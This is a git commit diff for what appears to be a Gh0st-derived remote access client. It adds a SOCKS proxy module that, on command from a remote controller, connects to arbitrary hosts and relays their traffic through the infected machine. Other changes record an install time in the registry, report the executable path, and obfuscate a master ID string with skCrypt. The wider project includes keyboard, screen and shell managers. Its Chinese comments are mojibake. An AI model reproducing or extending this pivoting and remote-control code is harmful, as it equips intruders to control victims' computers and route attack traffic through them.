Implement SOCKS proxy feature

This commit is contained in:
yuanyuanxiang
2025-05-03 20:57:22 +08:00
parent 7e83dbd431
commit a98a612226
50 changed files with 15801 additions and 115 deletions

View File

@@ -70,23 +70,23 @@
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
@@ -173,6 +173,7 @@
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="ScreenManager.cpp" />
@@ -186,7 +187,6 @@
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\commands.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
@@ -199,6 +199,7 @@
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" />

View File

@@ -11,9 +11,85 @@
#include "ServicesManager.h"
#include "VideoManager.h"
#include "KeyboardManager.h"
#include "ProxyManager.h"
#include "KernelManager.h"
#define REG_SETTINGS "Software\\ServerD11\\Settings"
// д<><D0B4><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
bool WriteAppSettingA(const std::string& keyName, const std::string& value) {
HKEY hKey;
LONG result = RegCreateKeyExA(
HKEY_CURRENT_USER,
REG_SETTINGS,
0,
NULL,
0,
KEY_WRITE,
NULL,
&hKey,
NULL
);
if (result != ERROR_SUCCESS) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", result);
return false;
}
result = RegSetValueExA(
hKey,
keyName.c_str(),
0,
REG_SZ,
reinterpret_cast<const BYTE*>(value.c_str()),
static_cast<DWORD>(value.length() + 1)
);
RegCloseKey(hKey);
return result == ERROR_SUCCESS;
}
// <20><>ȡ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD>ֽڰ棩
bool ReadAppSettingA(const std::string& keyName, std::string& outValue) {
HKEY hKey;
LONG result = RegOpenKeyExA(
HKEY_CURRENT_USER,
REG_SETTINGS,
0,
KEY_READ,
&hKey
);
if (result != ERROR_SUCCESS) {
return false;
}
char buffer[256];
DWORD bufferSize = sizeof(buffer);
DWORD type = 0;
result = RegQueryValueExA(
hKey,
keyName.c_str(),
nullptr,
&type,
reinterpret_cast<LPBYTE>(buffer),
&bufferSize
);
RegCloseKey(hKey);
if (result == ERROR_SUCCESS && type == REG_SZ) {
outValue = buffer;
return true;
}
return false;
}
DWORD WINAPI ThreadProc(LPVOID lParam)
{
THREAD_ARG_LIST ThreadArgList = {0};
@@ -94,3 +170,7 @@ DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{
return LoopManager<CKeyboardManager1, 0>(lParam);
}
DWORD WINAPI LoopProxyManager(LPVOID lParam) {
return LoopManager<CProxyManager, 0>(lParam);
}

View File

@@ -18,6 +18,11 @@ typedef struct UserParam
~UserParam() { SAFE_DELETE_ARRAY(buffer); }
}UserParam;
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool WriteAppSettingA(const std::string& keyName, const std::string& value);
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
bool ReadAppSettingA(const std::string& keyName, std::string& outValue);
DWORD WINAPI ThreadProc(LPVOID lParam);
DWORD WINAPI LoopShellManager(LPVOID lParam);
@@ -31,3 +36,4 @@ DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam);

View File

@@ -126,6 +126,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
switch(szBuffer[0])
{
case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHARE:
if (ulLength > 2) {
switch (szBuffer[1]) {

View File

@@ -201,12 +201,26 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
LoginInfor.bWebCamIsExist = bWebCamIsExist;
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType()));
LoginInfor.AddReserved("?"); // ϵͳλ<CDB3><CEBB>
LoginInfor.AddReserved("?"); // CPU<50><55><EFBFBD><EFBFBD>
LoginInfor.AddReserved("?"); // ϵͳ<CFB5>ڴ<EFBFBD>
char buf[_MAX_PATH] = {};
GetModuleFileNameA(NULL, buf, sizeof(buf));
LoginInfor.AddReserved(buf); // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
LoginInfor.AddReserved("?"); // test
std::string installTime;
auto b = ReadAppSettingA("install_time", installTime);
if (!b || installTime.empty()) {
installTime = ToPekingTimeAsString(nullptr);;
WriteAppSettingA("install_time", installTime);
}
LoginInfor.AddReserved(installTime.c_str());
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
std::string masterHash(skCrypt(MASTER_HASH));
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
return LoginInfor;
}

View File

@@ -14,6 +14,8 @@
typedef IOCPClient CClientSocket;
typedef IOCPClient ISocketBase;
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function

View File

@@ -63,6 +63,7 @@
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
// <20><><EFBFBD>ܼ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E3BAAF><EFBFBD>ĺ<EFBFBD>ʱ
class auto_tick
@@ -100,6 +101,10 @@ public:
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
#endif
#ifndef SAFE_DELETE_AR
#define SAFE_DELETE_AR(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
#endif
class CLock
{
private:
@@ -124,3 +129,18 @@ public:
EnterCriticalSection(&m_cs);
}
};
class CAutoLock
{
private:
CRITICAL_SECTION &m_cs;
public:
CAutoLock(CRITICAL_SECTION& cs) : m_cs(cs)
{
EnterCriticalSection(&m_cs);
}
~CAutoLock()
{
LeaveCriticalSection(&m_cs);
}
};

View File

@@ -68,22 +68,22 @@
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup>
@@ -161,7 +161,6 @@
<ItemGroup>
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="resource1.h" />
<ClInclude Include="ShellcodeInj.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="TestRun.rc" />

View File

@@ -71,22 +71,22 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir)proxy;$(SolutionDir)common</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
@@ -183,6 +183,7 @@
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="ScreenManager.cpp" />
@@ -196,12 +197,10 @@
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\commands.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="ClientDll.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
@@ -210,6 +209,7 @@
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" />

View File

@@ -0,0 +1,298 @@
// ShellManager.cpp: implementation of the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ProxyManager.h"
#include <MSTcpIP.h>
#include <TCHAR.h>
#include "stdio.h"
#include <process.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CProxyManager::CProxyManager(ISocketBase* pClient, int n, void* user) : CManager(pClient)
{
InitializeCriticalSection(&m_cs);
m_bUse = TRUE;
m_nSend = 0;
Threads = 0;
BYTE cmd = COMMAND_PROXY;
Send(&cmd, 1);
Mprintf("CProxyManager create: %p\n", this);
}
CProxyManager::~CProxyManager()
{
m_bUse = FALSE;
Sleep(1500);
std::map<DWORD, SOCKET*>::iterator it_oneofserver = list.begin();
while (it_oneofserver != list.end()) {
SOCKET* p_socket = (SOCKET*)(it_oneofserver->second);
if (p_socket) {
if (*p_socket != INVALID_SOCKET) {
closesocket(*p_socket);
*p_socket = 0;
}
SAFE_DELETE(it_oneofserver->second);
}
list.erase(it_oneofserver++);
}
Wait();
DeleteCriticalSection(&m_cs);
Mprintf("CProxyManager destroy: %p\n", this);
}
int CProxyManager::Send(LPBYTE lpData, UINT nSize)
{
if (!m_bUse) return 0;
int ret = CManager::Send(lpData, nSize);
return ret;
}
void CProxyManager::SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port)
{
lpBuffer[0] = TOKEN_PROXY_CONNECT_RESULT;
*(DWORD*)&lpBuffer[5] = ip;
*(USHORT*)&lpBuffer[9] = port;
Send(lpBuffer, 11);
}
void CProxyManager::Disconnect(DWORD index)
{
BYTE buf[5];
buf[0] = TOKEN_PROXY_CLOSE;
memcpy(&buf[1], &index, sizeof(DWORD));
Send(buf, sizeof(buf));
GetSocket(index,TRUE);
}
void CProxyManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
if (!m_bUse) return ;
switch (lpBuffer[0]) {
/*[1]----[4]----[4]----[2]
cmd id ip port*/
case COMMAND_PROXY_CONNECT: {
SocksThreadArg arg;
arg.pThis = this;
arg.lpBuffer = lpBuffer;
AddThread(1);
CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL));
while (arg.lpBuffer)
Sleep(2);
}
break;
case COMMAND_PROXY_CONNECT_HOSTNAME: {
SocksThreadArg arg;
arg.pThis = this;
arg.lpBuffer = lpBuffer;
arg.len = nSize;
AddThread(1);
CloseHandle((HANDLE)CreateThread(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL));
while (arg.lpBuffer)
Sleep(2);
}
break;
case COMMAND_PROXY_CLOSE: {
GetSocket(*(DWORD*)&lpBuffer[1],TRUE);
}
break;
case COMMAND_PROXY_DATA:
DWORD index = *(DWORD*)&lpBuffer[1];
DWORD nRet, nSend = 5, nTry = 0;
SOCKET* s = GetSocket(index);
if (!s) return;
while (s && (nSend < nSize) && nTry < 15) {
nRet = send(*s, (char*)&lpBuffer[nSend], nSize - nSend, 0);
if (nRet == SOCKET_ERROR) {
nRet = GetLastError();
Disconnect(index);
break;
} else {
nSend += nRet;
}
nTry++;
}
break;
}
}
DWORD CProxyManager::SocksThread(LPVOID lparam)
{
SocksThreadArg* pArg = (SocksThreadArg*)lparam;
CProxyManager* pThis = pArg->pThis;
BYTE lpBuffer[11];
SOCKET* psock=new SOCKET;
DWORD ip;
sockaddr_in sockAddr;
int nSockAddrLen;
memcpy(lpBuffer, pArg->lpBuffer, 11);
pArg->lpBuffer = 0;
DWORD index = *(DWORD*)&lpBuffer[1];
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (*psock == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
ip = *(DWORD*)&lpBuffer[5];
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_port = *(u_short*)&lpBuffer[9];
ClientAddr.sin_addr.S_un.S_addr = ip;
if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
pThis->list.insert(std::pair<DWORD, SOCKET*>(index, psock));
memset(&sockAddr, 0, sizeof(sockAddr));
nSockAddrLen = sizeof(sockAddr);
getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen);
if (sockAddr.sin_port == 0) sockAddr.sin_port = 1;
pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port);
ISocketBase* pClient = pThis->m_ClientObject;
BYTE* buff = new BYTE[MAX_RECV_BUFFER];
struct timeval timeout;
SOCKET socket = *psock;
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(socket, &fdSocket);
timeout.tv_sec = 0;
timeout.tv_usec = 10000;
buff[0] = TOKEN_PROXY_DATA;
memcpy(buff + 1, &index, 4);
while (pClient->IsRunning()) {
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, &timeout);
if (nRet == SOCKET_ERROR) {
nRet = GetLastError();
pThis->Disconnect(index);
break;
}
if (nRet > 0) {
int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
if (nSize <= 0) {
pThis->Disconnect(index);
break;
}
if (nSize > 0)
pThis->Send(buff, nSize + 5);
}
}
SAFE_DELETE_AR(buff);
FD_CLR(socket, &fdSocket);
pThis->AddThread(-1);
return 0;
}
DWORD CProxyManager::SocksThreadhostname(LPVOID lparam)
{
SocksThreadArg* pArg = (SocksThreadArg*)lparam;
CProxyManager* pThis = pArg->pThis;
BYTE* lpBuffer = new BYTE[pArg->len];
memcpy(lpBuffer, pArg->lpBuffer, pArg->len);
pArg->lpBuffer = 0;
DWORD index = *(DWORD*)&lpBuffer[1];
USHORT nPort = 0;
memcpy(&nPort, lpBuffer + 5, 2);
hostent* pHostent = NULL;
pHostent = gethostbyname((char*)lpBuffer + 7);
if (!pHostent) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(lpBuffer);
return 0;
}
SOCKET* psock=new SOCKET;
sockaddr_in sockAddr;
int nSockAddrLen;
*psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (*psock == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(lpBuffer);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
ClientAddr.sin_port = *(u_short*)&lpBuffer[5];
ClientAddr.sin_addr = *((struct in_addr*)pHostent->h_addr);
if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) {
pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
SAFE_DELETE_AR(lpBuffer);
SAFE_DELETE(psock);
pThis->AddThread(-1);
return 0;
}
pThis->list.insert(std::pair<DWORD, SOCKET*>(index, psock));
memset(&sockAddr, 0, sizeof(sockAddr));
nSockAddrLen = sizeof(sockAddr);
getsockname(*psock, (SOCKADDR*)&sockAddr, &nSockAddrLen);
if (sockAddr.sin_port == 0) sockAddr.sin_port = 1;
pThis->SendConnectResult(lpBuffer, sockAddr.sin_addr.S_un.S_addr, sockAddr.sin_port);
SAFE_DELETE_AR(lpBuffer);
ISocketBase* pClient = pThis->m_ClientObject;
BYTE* buff = new BYTE[MAX_RECV_BUFFER];
struct timeval timeout;
SOCKET socket = *psock;
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(socket, &fdSocket);
timeout.tv_sec = 0;
timeout.tv_usec = 10000;
buff[0] = TOKEN_PROXY_DATA;
memcpy(buff + 1, &index, 4);
while (pClient->IsRunning()) {
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, &timeout);
if (nRet == SOCKET_ERROR) {
nRet = GetLastError();
pThis->Disconnect(index);
break;
}
if (nRet > 0) {
int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
if (nSize <= 0) {
pThis->Disconnect(index);
break;
}
if (nSize > 0)
pThis->Send(buff, nSize + 5);
}
}
SAFE_DELETE_AR(buff);
FD_CLR(socket, &fdSocket);
pThis->AddThread(-1);
return 0;
}
SOCKET* CProxyManager::GetSocket(DWORD index, BOOL del)
{
if (!m_bUse) return NULL;
CAutoLock locallock(m_cs);
SOCKET* s = list[index];
if ( del) {
if (!s) return s;
closesocket(*s);
SAFE_DELETE(s);
list.erase(index);
}
return s;
}

View File

@@ -0,0 +1,40 @@
#pragma once
#include "Manager.h"
#include <map>
class CProxyManager : public CManager
{
public:
BOOL m_bUse;
CProxyManager(ISocketBase* pClient, int n = 0, void* user = nullptr);
virtual ~CProxyManager();
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
int Send(LPBYTE lpData, UINT nSize);
void Disconnect(DWORD index);
void SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port);
static DWORD __stdcall SocksThread(LPVOID lparam);
static DWORD __stdcall SocksThreadhostname(LPVOID lparam);
DWORD m_nSend;
std::map<DWORD, SOCKET*> list;
SOCKET* GetSocket(DWORD index,BOOL del=FALSE);
CRITICAL_SECTION m_cs;
int Threads;
void AddThread(int n = 1) {
CAutoLock L(m_cs);
Threads += n;
}
void Wait() {
while (GetThread())
Sleep(50);
}
int GetThread() {
CAutoLock L(m_cs);
return Threads;
}
};
struct SocksThreadArg {
CProxyManager* pThis;
LPBYTE lpBuffer;
int len;
};